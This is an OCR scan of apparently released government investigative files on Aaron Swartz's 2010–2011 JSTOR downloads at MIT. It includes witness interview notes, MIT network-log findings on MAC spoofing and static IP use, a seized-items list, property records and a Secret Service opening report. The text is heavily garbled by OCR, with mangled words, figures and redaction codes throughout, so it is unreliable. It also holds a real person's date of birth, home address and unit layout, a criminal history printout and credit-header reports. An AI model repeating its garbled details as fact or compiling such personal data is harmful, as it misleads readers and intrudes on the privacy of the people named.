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(bXG).(b)

(b
vy paid lhatvus introduced ty (B)(8) (L) 7NC) ail and that he ot¥ered to work wi mz
on an article about Sprout & Co.|(E)6).(b]

(b]said thatLLL"E. runs Sprout & (.cmd that
Swartz gives money to hacker spaces like Sprout & Co,

(L){6),(b)

(b)(o
(xcy  Jsaid that-\lw spoke with Swartz afler the search of his residence, (h{n{{r aid that
Swartz tol{{P) ] that agents came into his house and took part of his book{(PX8)0) fsaid that Swartz

also said that ag em s came into the Safra Center and took his controller for Rock Band|(EX6).(b) [said

that Swartz toldl(b) Jthat the agents wm, frustrated and that they did not find what they were looking
for(PX8). _Isaid that Swartz told|(®) |that the agents took his phones.

BIE®) | that.:ad stayed at Swartz'y : at 950 Massachusetts Avenue in Cambridge
MS achu 8 3 e ) ns the week before. (b)(6) (b stated that she[EHELINC) ﬁ
‘

said that Swartz tried a project back in 2009 1o sty off line Tor a month.
(Breoreor R A ATICF That, Swartz usually did not keep computers at home.

sazd that she was with Swartz at an [P ®0NE)

that Swartz and ld:m ) [mjj
( )(S“)‘(b said tha id ot ke he journal Rysiem and that he Telt for rescarchers in india

(X2 lsaid that Swantz started a Google Group called Guerilla Open Access and that he posted the
Guerilla Open Access Manifesta.
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City Of Cambridge - PROPERTY DETAILS Page 1 of' 2

FISCAL AFFAIRS

BB parmmssiarty vession 88 Property Database Search Results

alck o the Show ;
§ Suckto the Sho 860 Mass Ave, Unit [T}
Property Informetion;
Propedy Clase: CONDOMINIUM
Stato Ctass Code: 102
Zoning (Unodal):
Mapital, 12040420
Land Arex 0 Cliek o Photo © yiew 1ergar inege,
Proparty Veiuo:
Year of Assasyment; 2011
Tax Distiet; R12 Relfated informstion:
Reudontat Exemgtion:  No
Bufiding Velua: $308,600 ¢ GIS Map of thia Property
Land Vess; s : m’o’ Mp
Agssessod Vidue: 5308500
Sals Pricw, $257,500
Book/Page. 329547 443
Sale Data: March 26. 2001 Gomparable Geles $sarch
Prordous Asveated Vplue: $309,500
Owner |
Ownar(s): his coraains much of the
! (£)(8).(bXT)C) Comridos o ssoteo o, To
= S
! vaicrom fox.
Buiidlng information; £UM0S08 ond dny albar ure fx
Condondrtum Busiding thersfors not valid
Nty *
EXTERIOR:
Biyle APARTMENT
Number of Siores 1
Floee Locktion 3
View Average
INTERIOR:
Living Avea 559
Tetal Roarm 3
Sedrooms 1
Kiechens Pul Aloove
Full Bathe 1
Hedf Beths [
fFirepiacay [
Fioorng Hardwood
Layour Comes Unit
Laundry in Unt N
SYSTEMS:
Heat Typa Forced Al
CONDITION & GRADE:

2584
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City Of Cambridge - PROPERTY DETAILS
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Dwelling and Storage Locker Description

950 Massachusetts Avenue In Cambridge Massachusetts has three streets that abut the progerty,
Massachusetts Avenue, Bay Street and Green Street, 950 Mass Ave Is also known as the Bay Square
Condominiums. it contalns 109 residentlal and 4 commercial condominium units. The main entrance to
the building is from Massachusetts Avenue. Upon entering the front daor there Is 8 foyer between doors
that contain a list of resident’s last name that show a door beil number for the resident, The door bel)
numhers do not reflect the actual unit number of the resident. Door bell number|\” has the name
Swartz on i,

The bullding has two lower levels and seven stories above ground on the Massachusetts Avenue side of
the building, The two lower lavels are garages known as lower garage and upper garage. Floor one is the
ground level floor when entering from the Massachusetts Avenue side of the building. The six floors
above that are floors 2 through 6 and the 7 Roor is referred to as the Penthouse fioor.
b
Linit } ;.( Swartz) is located on the third floor. It has 8 dark brown wood grained door with the number
I((bz;(ms)j(b) attached to it just above the peep hole. it is described as 2 586 square foot three roomong
bedroom, one bathroom comer unit condominlum. Aaron Swartz Is the listed tenant of uni m The
owners of the unit are listed as (b)(6).(bX7)(C)

There are storage lockers located on the foliowing levels, lower garage, upper garage, first floar and
penthouse floor (aka 7* floor), The storage iockers can be described as large locked cages.

occupants place their own locks on the lacker doors. Unit F‘E}Jis deeded and assigned !ackem which
is located on the first floor In a room behind the front conclerge desk, The locker is marked with the
letter and numerall;

950 Massachusetts Avenue akn Bay Square Condominiums Is managed by Thayer and Assaciates located
8t 1812 Massachusetts Avenue Cambridge, MA 02140 with a teiephone number of 617-354-6480,
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City of Cambridge

January 30, 2014
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CIISWeb Page | of 2

ClISWe
By User:

ted On: 01/15/2011 17:56:53

b)(6).(bX7)C)

MA Crim. Hist, (BOP)
Origlnal NAME: SWARTZ, AARON DOB: 11/068/1986 BOP :’:*:'_ g?s";g’a""
Query: Notification: Y t

s e o M iviovsentiat i e e d |
;tikﬁttﬁit..b'ittﬁi.I'Qhﬁi‘ﬁﬁtﬁ’.iiixl’t"ttt#"*\b't'i*ﬁﬂ'*iﬁnkt.kiﬁiitﬁlt&.ﬂﬁih't‘:ﬁ

* .

* thorkag WARNING *v¢iseve WARMNING trveverse *

+ *

* THIS INFORMATION IS CORT. IT IS NOT SUPPORTZD BY FINGERPRINTS. *
*PLEASE CHRECK THAT THE NAME REFERENCED BELOW MATCHES THE NAME AND DATE OF BIRTH®

“OF THE PERSON REQUESTED. .
» *

bk'.i"*'ﬁ“" Q.ii"l‘*‘t"‘llI"'ﬂ'ﬁ(\i"*‘#i'ﬁ*'*ﬁ*ﬁ"""ﬁ"Qwﬁiiﬁ‘*'ﬁ't’ﬁ‘t‘l’i‘.‘

Prkbmweann COMMONWEALIR OF MASSACHUSETTS Fonravdwar
CRIMINAL UISTORY SYSTZMS BOARD

*TY PERSONS COURT SUMMARY *v+

NAM: SWARTZ, AARON H FORMAL-NAM: AARCN PCF: O0DOS1758C7

DOB: 11/08/86 SEX: M ®RAC: @ POB: 1L asN: fb)8), (b7 :
MOM ~DOP: LGT: 506 WGT: 130 MAY: BLK EYE: BRQ
ADDRESS ¢

(B}B).(LNTNC)
COMMENTS :

€O A wwdww SRARR whada ADULT APPEARANCES AUUDN kRN MhAhy LES X2 4

ARRAIGNMENT: (0001

ARG-DATE: 01/07/11 pp; MIP COURT: CAMBRIDGE DISTRICT DKT#: 1152CRC00073A
OFF: B&E DT W/¢ COM FEL BLE DT W/ FEL
LDIsSP: € 2/22/1) STATUS: O  WpD:

RRRAIGNMENT: (0002)

ARG~DATE: 01/07/11 pp. MIP COURT: CAMBRIDGE DISTRICT DKTé: 1152°CRO0N07TSA
v OFF: B&8 DT @/I CoM FEL BsE DT W/I FEL
! pIsp: ¢ 2/22/11 STATUS: O WPD:

PRIREE Adwex bewnn vaex BND OF ADULT APPEARANCES **#%¢ ¢ivdé hivew wvees
(L)(B).(bX7XC)

|

REQUESTED BY:
L COMPLETED 3Y:
i AGENCY: TRHUBRILGE POLTCE DEPARTMENT

BMO86 3 1302

This 18 Criminal Offendes Record Infarmation (COR)} ond access and Massachusetts Ciiminal Juatke Information Servicas (CIIS)

dissemination of said information is under the authority of 263 Adington Sureet, Sute 2200
Massachusetts fieneral Law Chapter 6 Sections 169-172 and Code of Chalses, MA 02150
Faderal Regulathons (28 CFR 20.2). Only authorized persons in the CIIS Operations: 617-660-4620

rerfrunance of thelr officra) duties may access, wsa or disseminate
this information for officiat and lawhy o minal justive purposes.
Questions concenlrg the access, use or clssemination of this

2588
hitps://170. l54.224.26/cjisweb/ac(ion/bop?appContext:bop&appAction:presentf’:int&bo... 171522011



CHISWeb Page 2 of 2

information should be directed 1o the Massachusetts Crimina! Justic
Information

Senices Djvision of the Criminal History Systems Board ot
617-660-4710,

CQ1ISWeb Printo

ted On: 01/15/2011 17:56:53
By User:

(b)(6).(b)7XC)

2569
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0400c18 (OB Jyeh14nks) . txt
http://en.wikipadia.org/wiki AR (mtm W F

htep://wen. wired, com/top‘lcs/
http://m-m com/said/

http://wwm, theful lwiki .org/

Page 1
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Assessing Department Viewer

(amiridgena oo Cambridge CltyViewer.

Ssas Map | 2010 Photo

Page 1 of 1

Sua '.Q

10¢ n o

http:/gis.cambridgema.gov/map/V iewer.aspx

xzwo-n
’uo 4018 1950

12€:40-1€ i0)

'muo 7 lgtoy conupy_u-qvn
3304028 j950 ., CONDBHIIGR
120°40:3C I 23 concomimun ;.
1320:49-38 8 ’co'zcomw'
liodem feovioomtin

ti4solacted Yo ml‘tnq uwl 1‘9 9wm

Proporty fafs | Sales History .[ Property Imegse |

Prim

Propenty ID 120-40-14
10 6023
Addresy 950 MASS AVE #3A !
Lano Uss CONOONINIUM
Land Ares 4.95 sowe / 41382 sg 1t
Living Area 678 sq R
Prodety (ovd
Peocant Comparetia Satat
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MASSACHUSETTS INSTITUTE OF TECHNOLOGY
Police Department
Jm:;lsur Strz
Casvbridge, Massachusetts 02139
{617) 283.1212
Pox (617) 324-9369

REPORT OF PHOTO ARRAY IDENTIFICATION PROCEDURE
(Side 1 of 2

Casa ¢ //00055-—/ Date J///*//Zo’//

Potce Dept. /771 7~ f%aw — D
G .
Identitying Witness (nome & DO

Officer Composing Aray _L)ET¢ S . RE@ENC)

Officer Presenting Anay _GC4Sicer el
Al Others Prasent A
Location of Presantation M7~ FalicE sTaA

Uneup Preseniation (check method used: Seaquential or Simultaneoiss. 8iing or Tragitiong)

* Sequential (one-by-one) Sublects were presentad In the following order:
tettoronbaci) & E F & D B A -
Order Presanted  1* ¢ g 4" s 6" 7™ 8* 9™
¢ Smultgngoys (ol at once)

* Blod Preserer (ofcer with no information as to suspect)

= liqditionol Presenter

Slatements by ony other people, made during ID procedure and in presence of whness:
C iMar_, definively Seon Wi ineface

Thisisa two-page form. Please complele the second side and have the winess sign,
{£)(6).(B)(7)T)

o/ //}‘ ///
date

2599




REPORT QF PHOTO ARRAY IDENTIFICATION PROCEDURE

(5ide 201 2
Caet /000357 date_ 02 /- /201/
Potioe Dept, _ /117" FotiCE Img /630 hrs
Identifying Wihess (name & DOL BXBLBITHC)
2177%2))@) Adylsements to Wilness Befora Presentolion

BB ey =

I om golng to show you a group of Individudis who ate in random order.

The pérsan who committed the crime moy or may not be Includad, so you should not feel
compalled to make an identification,

it is just ¢ Importont to clear innocant paopte as it Is to identtfy possible pemethators,
Whather of not you identity someone, the police wil continue to investigats,

Affer you are done, | wilt not be able ho provids you with any fesdback or comment on the
results of the process,

Plaase do not discuss Ihis identificotion procedura or the rasults with other witnesses in this
Case or with the media,

- Think back o the ime of the event, the place, viaw, lighting, your frame of mind, efc, Take

as much ime 08 you )

Pacpie maoy not appsor exactly os thay did ot the fime of the event, because features such
as clothing and head/faclal halr are subjact to change,

. Baauentid Oniy) i will show YOu one person at o fime. ond cannot tell you how many

pacple there are In total. | will show you all of the paople, even ff you Identify sormeone
eatliar, As you finish looking ot each person, lot me know.

0. As you look ot sach person, if you sae someone that you recognize, plecse tell me how you

know the pesson, and In your own wards, how sure you ore of the Identification.

Identification made: VYes No___ It Yes lettar/order # selectad:
Witness Identification Stalements

2ol Gived ‘

}6).(BI7HT)

2600
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CAMBRIDGE POl £ DHIAR EAIET

IDENTIIC A VRN LS

3 Western Avenoe, Comibridge, MA 02153

Investigator's Copy

PHOTO ARRAY FORM
File #: {1-00035] (CPD 11-000078)
DATE REQUESTED (mnvdd/yyyy): 111112011
DATE COMPOSED (mm/dd/yyyy): H11£20L 4
DETECTIVE REQUESTING ARRAY: _MiIT Dc] (b)(B).(b)(7)(C)|
COLOR:[] BLACK & WHITE; (]
COPIES NEEDED: 1
SUSPECT INFORMATION:
Name: Asron Swartz
Race: White
Sex: Male
Date of Birth (MM/DD/YYYY): 11/8/1986

Indicase Naroe and Date of Birth for each pleture leter used in the photo array

LETTER

LAST Na! I
— T} RTC)

Picture A

4

Picture B

F‘imm___l._mn.ﬂ\mlnanryy)

Picture C

—SWAKIZ |

Agron ! 11R/6080

Plcturs D {38 DTy

Pictyre B

Picture F

Picture G

Piclure H

Plcrure |

Pleture J

Pictura K

Picture {,

iﬁﬁ(i\iu\if-.’fé?ﬂiﬁ hry \\rf.'._;'“f;;':u.t‘lo. :
Aty Klemificittion Unlt Manager
(E)(B).(bXTNC)

Date
' ; V2 //
Date

.

o Lt
Retised; 170202011}
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Intemet Archive Search
on Jume 231 20

12 T copducted a seurch of the Internet Archiva websita waybsck Machine
specifically 'Hst!n:onculrﬂ'lmwucnu.com" in the search guary

1 located nine datced captures and using tha software_Snagit, I captured aach of the
nine dayes and the callendar. T also located a Guerilla Open Access document on
Askebin and saved that in a portable data format.

(bX8).(bX7)(C)

1Ty 9, 2012

page 1
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» On guerrilla open access The Occasional Pamphlet Page 1 of |

The Occasional Pamphlet

on scholarly communication

On guerrilla open access

July 28th, 2011
Aaron Swarz has been indjcted for wirs fraud, computer fraud,

unlawfully obtaining information from a pratected computer, and .
tecklessly damaging a protected computer. The alleged activitles that [§-
ted to this indictment were his downloading massive numbers of
articles fram JSTQR by circumventing IP and MAC address ¥
limitations and breaking and entering into restricted areas of the MIT g
campus to obtain direct access to the network, for the presumed K
intended purpose of distributing the articles through open file-sharing 8
networks. The allegation is in keeping with his previous calls for .

achieving open access to the schoﬁuly literature by what he called Mn‘—g‘-’ﬁ% feinelér of
“guerrilla open access” in a 2008 manifesto: “We need to download ’

scientific journals and upload them 1o file sharing networks.” Because many theorize that Swartz was
intending to further the goals of open access by these activities, some people have asked my opinion
of his ulleged activities.

Before going further, I must present the necessary disclaimers: [ am nota lawyer. He is presumed
innocent until proven guilty. We don’t know if the allegations in the indictment are true, though [
haven’t seen much in the way of denials (as opnosed to apologetics). We don't know what his
intentions were or what he planned to do with the millions of articles he downloaded, though noue of
the potential explanations I've heard make much sense even in their own terms other than the guerrilla
OA theory implicit in the indictment. So there is a lot we don't know, which is typical for a pretriai
case. But for the purpose of discussion, let's assume that the allegations in the indictment aure true and
his intention was to provide guertilla OA to the articles. (Of course, if the allegations are false, as
some seem tp belicve, then my claims below are vacuous. If (he claims in the indictment tum out to
be false, or colored by other mitigating facts, 1 for one would be pleased. But I can only go by what I
have read in the papers and the indictment.)

There’s a lot of silliness that has been expressed on both sides of this case. The pro-Swariz faction is

quoted as saying "Amon's prosecution underinines academic inquiry and democratic pringiples,™
Hunh? Or this one: “It’s incredible that the government wonid try to lock someone up for allegedly
louking up articles at a library,” Swartz could, of course, have Jooked ug any JSTOR article be wanted
using his Harvard library privileges, and could even have text-mined the entire collection through
JSTOR’s Data for Research program, but that’s not what he did. Or this howler: “It's Jike trying to put
somepne ip jail for allepedly checking 100 man youks out of the Jibrary,” No, it isn't, and even a
cursory reading of the indictinent reveals why. On the anti-Swartz side, the district attormey sayg

things like “Stealing is stealing whether you use a computer command or a crowbar, and whether you
take documents, data or dollars.” If you can't see a difference between, say, posting one of your
articles on your website and lifting a neighbor's steren, well then I don't know what. There's lots of
hyperbole going on on bath sides.
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Guerilla Open Access (Aaron Swartz's Raw Thought) Page 1 of |

You have reached the cached pags for hitp:/www_.aaronsw com/webloa/uoa

elow is a snapshot of the Web page as it appearad on 4/4/2011. This is the version of the
age that was used for ranking your search results. The page may have changed since it was
ast cached. To see what might have changed (without the highlights), go to the curcent page.

Yahoo! Is not rasponsible for tha content of this page
RAW THOUGHT
Guerilla Open Access by Aaron Swartz

A few months ago I got 1o attend a meeting in Eremo, italy, a beautiful abandoned
monastery deep into the Buropean countryside, Theres, talking with vthers round the world,
1 realized that the Open Access movement simply wasn't enough — even if we got all
journals going forward to be open, the whole history of scientific knowledge would be
locked up. We had to do something more.

Talking with others at the meeting, I realized what must be done. If we couldn't get free
access to this knowledge, folks would have to take it. Guerilla open access. So I wrote up a
maalfesto:

“1 agres,” many say, "but what can we do? The coméaniec hold the copyrights, they
make enormous amounts of money by charging for access, and it's perfectly legal —
there's nothing we can do to stop them.” But there is something we can, something
that’s already being done: we can fight back.

I'm announcing the project in a talk today at Software Freedom Day in Bostun, but P'm also
announcing it here:

Visit guerillnopenaccess.com and join us.
September 20, 2008

Read comments.
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(b)(B).(bXTNC) |~ Contacts @ JSTOR).txt
From: 1 \b)(ﬁ)»(bk;%i ﬂthaka.org} )

sent: _ Tuesday, January 25, 2011 4:32 pM
[ oo \‘Sgizj.gov-
Subject: Contacts @ JSTOR

(b)(8).(b)
Hi {7XC)

Please find the information requested below..
(bXB).(bX7XC)

(b)G),(bX7)C) lfthaka.org

(BX6).(bX7XC)
B)(B).(6)7Y(C) thaka.org

office of General Counsel

B)B).(EX7)C)
(B)B). (N7 )C) | public systems

Public Systems

(b)(8).(bX7XC)

Page 1
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Global Net Access, LLC
1100 White St SW
Atlanta, GA. 30310
(404) 230-9149

Dear Custodian of Records:

Our agency is conducting an ongoing criminel investigation that involves one or more
account holders. As part of that investigation, we are requesting that information related
10 www.aaronsw.co be preserved pending the issuance of formal legal process. More
specifically, we are requesting that you preserve all subscriber information and/or
account contents or group information related to the customer or subscribers.
Additionally we are asking that all private messages, correspondence and bulletin board
postings from above named users be preserved. We are also asking that all web content
be preserved .

At this time we are expecting to obtain formal legal process in the next 90 days, We
acknowledge that if we do not serve legal process upon you in the next 90 days, and do
not request a 90 day extension, the preserved information may no longer be available.
(b)(8),

Point of contact for this request is SA[R)7NC ht (617) 565-5640 or
{(B)6).(bXTC) Pusss.dhs.gov

Respectfully

(b)(8),.(bX7)(C)

Special Agent

United States Secret Service
10 Causeway Street,

Suite 447

Boston, MA, 02222

2623



(BXG).(bX7) (EX6) {bX7XC)

on 01/14/11 5aC) Detectiva AUSA Heymann
ancil(b)(8).{bX7)C) counsel for MIT mst at the MIT cffice of General
Counsel wich|(b)6).(b) Kb)(8).(6)(7)C) the [(RELEITIC _]Jter scholarly
publishing and liceAsing eiu {(0)(6),(B)X7)(C)

(bX6).(b)7HC) ‘
stated that since 1997 MIT had bought many collections from

J8POR, Buying a collection f'rom J3TOR costs a onetime archive wcapitol
fee and subscription maintenance fea,

(bXB).(bX7XC)

estimated that MIT has spent at least $435,000.00 including
a $50,000.00 & year maintenance fee. :

(£)(8).(bX7X(C)

stated MIT's relationship with JSTOR was a partnership model
and feea were based un the number of PhD programs the colizge had.

KBXE).(B)7XC)
far,
(B)(6).{BITHC)

Stated that MIT had purchased 8 collaections from SSTOR 30

stated that there is now a gateway for MIT to ascess

electronie resources ta that MIT a2ccess to JSTOR used to be
based on an IP filter. (§)(6),(b)(7)(0) ‘stated that for an MIT student to
accaess JSTOR from off campus they always had co go through a gatsway.
{(BXE).(BXTHC) stated that prior to the establishment of the gateway due to
Suarez’a S ludent on the MIT network could gain direct access
to JSTOR.l(b)(G)-(b’m(C) tated that as fzr as she was aware, only MIT
used to have a system where anyone on the network could access JSTCR.
(b)(6).(bX7)C)

stated that the only other occurrence of J3TOR raporting
abuse to her was early in their zelationship back in 1997 or 1998,
(B)(8),(bXTXC)

stated that when JSTOR first reported abuse from the MIT
network in 2010 they initlally blocked access by the entire MIT
network but with each subsequent incident JSTOR refined the Ip
addresses blocked. On the third incident JSTOR biocked the class C
subnet the abuse came From.

(bX6).(BYTHC)

Stated that her primary point of contact with JSTOR was
()(8),(bX7)C) .

r‘_‘— 6.0 N0 | . . ;
(BXE)L(EXTHC) stated that MIT was on tha JSTOR participants list that is
listed on the JSTOR public websita,

[®Y@).(BXTIC)
_ tated that she believed students from Harvard need s FIN to
access JSTOR.
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(b)(8),(b)(7) E}6).(b)N7HC)

on 01714711, 8:(C) Detective AUSA Heymann and
{6){6).{0)7KC) counsel for MIT met 3¢ the MIT office of Ganeraml Ccunsel with
l(b)(6),(6}7)C) la[(LY(6) (bX7TNC)_ network security analyst for MIT
Infcrmation Secvice and Technolegy ((b)(8),(BY7XC) Jedu, kbxe)XbK7XC) I
Sgﬁgk(b) informed the group that an examination of the ZHCP logs during the
tine in September when JSTOR was reporting the axcessive downlcads show a

computer registerxed as “ghost~laptop” with a MAC address of 00:23:5a:73:3f:fb
and an email addyess of ghost@mailinator.com.

(b)(6).(b)

Detectivel(7C) Jnoted that all of the suepicious computer registrations on
09/24/710, 10 10, 10/08/10 and 12/24/10 occurred or Friday nights. (b){(6).(b)Y7}C)
kaG)JbKT confirmed that Foot tralfic in the tunnel of bullding 16 wouid -e
1ght during those times.

(b)(6),(b)

(ZUCY stated that on 10/01/10 the an attempt was mada o register with

Lhe same MAC address as used oo 09/24710; fiowever,[lO)6).(b)] had nlocked that
[(®)8). (o)

MAC address from registering. | steted that on 10/02/10 arother
attempt was made to register on tne network with a MAC address of
(9:23:5a:73:sf:8c but 3till for “ghost-laptop.”

(b)(8),(bX7)

(C) alsn stated that st one point on 10/09/11, “ghost-laptop” was
reqiatorad with 4 MAC address of 00:23:58:73:5F:fc and “ghcst-macbock” was
registarad with a MAC address cf 00:17:£2:2¢:b3:74 at the Same time.
(b)(6).(b)(7)
(C) also stated that after 12/19/11, the attempts to ragister on the
#1T natwork for “ghost-laptop” and “ghast-mackosk” changed frem attampts to
gain an IP audress dynamically assigned through the MIT guest registration
process to assigning themselves stavic IP addresses on the MIT network. This
benavior continued until after Swartz was observed on 01/06/11 moving the
laptop from Ruilding 16 to and the machine wags raqgistered on the network from
the Stratton Student Center.

l(b)(ﬁ).(b§(7)
lalso stated that on N1/06/11 at approximately 1251 the computer
connected to an [P address registered to Amazon’s Elastic Compute Cloud (ECZ}

aarvice.
(b)(B).{bX7)
(C) oted that5 up to 12/19/10, Swartz obtained [P addrosses by using
the gueat registration to be assigned an IP address through UHCP?, From
) to 01/06/11, Swartz would assign himself a staric IP rddress.

(B)B).bX7)C) [theorized that cnce Swartz undesstood the submet mask of *he network

Bhilding 16 was on it would havs hean easy to assign himself an TP address
that was not being nsed: However when he moved the laptop to the Stratton
Student Center on 01/06/1), he counnectad to a new awitch and want back to
obtaining an IP address through DHCD. )

Prior to this Incident, JISTOR granted accesy to anysre usingy a IP address
from the MIT network. MIT has a rlass A natwork and owns all of the IP
addresses beginning with 18,

{bH7HC
Egﬁsm(bn7), recallad that on Ol!oslll(bxe)( e sent him an email telling
him that JSPOR inforwed her _tha npy nad detected abuse £ address
[(6)(8).(6Y7UC) ] on 01704711, [D)X6.D) |t acad the o addreas [(8)(8),()7UC) | tn the
AP Lable to MAC address (0dc.e5a0.¢756. MAC addrasa 00 .e5a0.¢756 was algo
essigned IF addrees {{b)(6).(0K7XC) Jon the ARP wable. [(DXE).(bX | stated that Ip
b)(6),(bX7XC

addreas ) 143 loqgod with zero seconds talking on the network.
[(©XB).(BXT)( | theorized that Swartz estabi!shed [p address [(bX6),(bK7XC) |0
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compunioeaty with the computer incase the MIT network shut down [P address
(EXE).(LXTHC)

(b)(6),(bX7)(C)
(D)(B)(BXT) stated that IP addreass was an TP address ragistered to
JSTCR that appeared in the logs.
(b)B).(b)7)

stated that early in the morning of 01/04/11 he roticed in the ARP
tablo that the IP address reported for abuse by Jd5TOR wes active on the
switch Gi 8/16 that he krew was in Buliding 16. The switch is also listed in
the logs M16~004t-sw-entry.mit,edu. Q04T refers to the room number 4T, the
vire closet where the Acar Aspire one gerlzook with ser{al number

LUSRX0D0010C110021601 was_Zound, [B)6).(0)7 | racalles that at approx:mately 0200
he sent an email tof(b}{6).(EX7XC) {ana (DXB).(BX7XC) f with the switch the computer

somm ] the abus a3 attachied Lo mnd AsKked them to find it.
(b)(6).{bX7)
(C) confirmed that the closet was generally kept locked.

(b)(6).(BY7XC)

j stated that at first Swartz used guast reqis jon o obtain an [P
address but that static IP address were used later. (B}B6).(bX7) |[confirmed that
sofmeong with quest registration has full accass in and out of the network.

(B)(B).(bX7) stated that MIT border routers do block the Microsoft ports,

7 . ; .
(L)6).(RN7) gtatad all three raglstrations Swartz used were variation of ghost
vilh the computer name gither Being ghost-machunk or ghost-laptap and the

name used for guest registratlicn beiug either Gene, Gary or Grace.

(B)6).(oX7) S o
(C) stated that vased on the logs he reviewed that Swartz must have
spovfed his MAC address at least once, The MAC address usad in Jenuary
(oodc.e5a0.2756) had an invalid drganizationally Unique fdentifisr [QUI}.

{L)B).{bX7)
(CY

stated Lhat the ewmails Swartz wsed for guest registraticn used a
service called mailinator. Mailinator ig a secvice that gives apooted amails
the appearance of legatimate emails,

The packet capture frem $1/u4/11 identified two opon ports on the Agep
Aspire one found in 04T, The ports that were spen were 22 and 8092. [(b)8).(bX7)
idantified that the service ChuerryPy wes running. CherzyPy is a web

applicaticn framework using the python programming lanquage.
(D)(6).(b)I7)
{C)

estimated that as of 1/14/11, MI? had spent 160 man-hours
tnvestiqating the abuse by Swarss,
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JSTOR
jstor.org
MIT
nit.edu

acer
me@aaronsw.com
scraper
crawler
18.55
macbook
macaddress
mac address
spoof
uploading
downloading
archive
library
black
downloads
public
journal
ghost
host
gary
grace
gene
hack
network
SSH
shell
seoure
cherrypy
basement
closet
western digital
terabyte
Samsung
Linerva
18.181
de-wily
copyright
library
(b)(8),(bX7)(C)
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Nokia cell phone with pawer cord
T-Mobile HTC G2 cell phone with power cord

Twelve (12) magnetic media tapes in a FedEx box

Metallic Blue iPod

White iPod with white carrying case

White iPod with Serial Number 8A63308S6UXSA

White iTalk

Black 16GB thumb-drive

“Office Depot” DVD-R with handwritten label “Bibliographic dats which mysteriously appeared one day
as the sun was shining”

Pocket notebook with blue and white hexagon and rectangle design cover
Pure Deive model 761 external hard drive quick start guide with CD

Disc utility internal hard drive upgrade kit

Seagate SATA 3.5" Barracuda internal hard drive installation guide
Scientitic Atlantic modem

Apple multi adapter with serial number 6F9395M72U6

Apple multi adapter with serial number 6F728INNU4S

Black notebook journal

Wireless-G 2.4 GHz broadband router linksys with serial number CDFG1G609626
MacBook install disk one and two in paper sleeve

MacBook user guide in cardboard case

Apple care service letter

Genius Bar work conflrmation

Digital Media compact flash

Fifty-four miscellancous compact disks

Two hard drive enclosures

T-Mobile sidekick

Sony Micro Vault

Harvard University earning statsment

Earning statement addressed to Aaron Swartz

Master’s Thesis M-876 Lind, William Edmund, Thomes McDonald: “A study of an Engineer
Administrator & his Influence of Public Roads in the US 1919.1953"
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Apple iMac model A1311 with serlal number WB025AXGDS?

Western Digital hard drive model WD1200 with serlal numbar WMANN1005724
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SSN- Pwelof2

Ridhda | DC3 Information Systams | ® 1994-2011 v4.1.6
Time: 09:18, 02/14/2011 [Trana Union Credit Header Repor| DCSI
----&‘--u--.--n-—----n----| Dpph‘ol t -----------------------------

Nama{s) & Addzess(s)

(0)(8),(B)7)C)

» SSN SEARCH NO HIT

This information may be used only for DCS' customers, or customerx's client's
exclusive use, and such customers and customer's clients are reyuired te hold
the information in atrict confidence and shall neot disclose it to 3Ird parties.
0

The Trana Union sredit héader (Txace and Retrace} do not include any
information that is placed on the credit files after Juna 30, 2001. 'The
Trans Unilon credit headers do lnclude information that existed in the
crodit files on June 30, 2001, This database will be updated
periodically from other sources,

LI A R R T T I I I T N S I 2 R ST I T R UEE JEE S S S S T S TN S
LR A L I N O . B R T IS ST T N Y A SR R K T B ST T R N |

reoaed j DC8 Information Systeams | @ 1994-2011 v4,1.8
Tine: 09118, 02/14/201t1 ) Bquifax Credit Header { Dcs:
R L DL DD cmmaa] DRPA:0) |~~v~v—cmmcca= Temsesm e e ————-

B)(8).(b)(7XC
Entared. . (B)(6).(L)(7XC)

(b)(B),(EXTHC)

Name...: SWAATZ, NARON Aga: 538
Current: (BXB)EXTHC) uen: /) !/
hddrass: PH: ) -

. (b)(8), ] ,
Former : 1587 15TH ST APT Lpy7)( vep: /S
Addrass: SAN FRANCISCO, €A 94103 PH: | ) -

(b)(8),

Former : 950 MASSACHUSETTS AVE artlb)(7)( ven: /[
Address: CAMBRIDGE, MA 621239 PH: { ) -

SAFESCAN Alert: SAFESCAN Complete - No Warnings
5

LR A S TR I A R T A B 2 I AR R R R Y B I I 2 B 2 T 2N T T R N N
LN N S N S 2 I N DRV R T T R IS SN 2 R T T SN S T R R B K TR I R SR IR W

shebb | DCS Iuformation Systems | ® 1994-2011 v4.1.6

Time: 09:168, 02/14/2011 | Experinn Credit Header | D¢st

-------- T g DPPAIDl |me==revescoreccmecnacomessome
(BXB).{bX7XC)

Entered:
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S8N- Page 2 of 2

(b)(8),(eX/XC)

35 #8..:

Name...: AARRON SWAKTZ BORN: 1986 PHONENSs:
X6 ] seavss

Name...: AARON H SWARTZ BORN PHONE#8:

(

Current: 950 MASSACHUSETTS AVE APT 1(8),(] MIDDLZSEX 03710
Address; CAMBRIDGE, MA 02139-317%

(b)(6),
former . 1587 JSTH ST APT {BWTZX ) SAN FRANCISCO 03/08
Rddress: SAN FRANCISCO, CA 94103-3692
b)(6).(b)7)(C

Fogrmer ;( NEOXTXC) ¢3/0?
Addreas:

formex JE®BINC)

Address

24/07

]

(B)(8),(BXTXC)

Formar
Address
1

04/06
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U.8. SECRET SERVICE INVESTIGATIVE REPORT

FROM: BOSTON FIELD GFFICE FILE: 102~775-60071-S
0 CRIMINAL INVESTIGATIVE DIVISION X-REF: N/A
LHNFO: TNVESTIGATIVE SUPPORT DIVISION SEIZUKER:  N/A

SUBJECT: OPENING REPORT

CASE TITLE; RARON SWARTZ

CASE TIPE: 775,510 - UNAUTHORIZED ACCESS UNIVERSITIES
SECOKDARY TYPES: 848,191, 848,304, 548,530

CONTROLLING OFFICE: BOSTON FIELD OFFICE

REPORT MADE BY: A [(bX8).(6)7}(C) |

DATE CASE OPENED: 1707711

PREVIOUS REZOAT: N/A

REPORTING PERIOD: 01/04/11 - 01/21/11

ITATLS: COMTLRUED

SYNOPSIS:

On 03/04/11, MIT contacted the New England Elactronizc Crime Task Force to request
issistance investigating a computer that was found connectad to tha MIT network in a
Inocked closet without authorization. fFurther investigaticn shawed that Paron Swast:
intruded into the MIT natwork without suthorization by breaking into the lacked
cioset containing nerworking components for MIT networks, connecting a computer to
the MIT pnetwork and downloading documents from JSTOR. Raron Swartz was arrested by
MIT Police and agents of the New England Electrzonic Trimes Tazk Force for breaking
and entering. An investigation of Swaztz unauvthorized intrusicn into the MIT nstwork
and the theft of documents from JSTOR 15 continuing in the Beston districk.

Cage continued in Bogton,

DETAILS OF INVESTIGATION:
(B)(6),(b)(7XC)
On 01/64/11, Detective cf rhe Cambridge Pclice Departmeat and _a membng

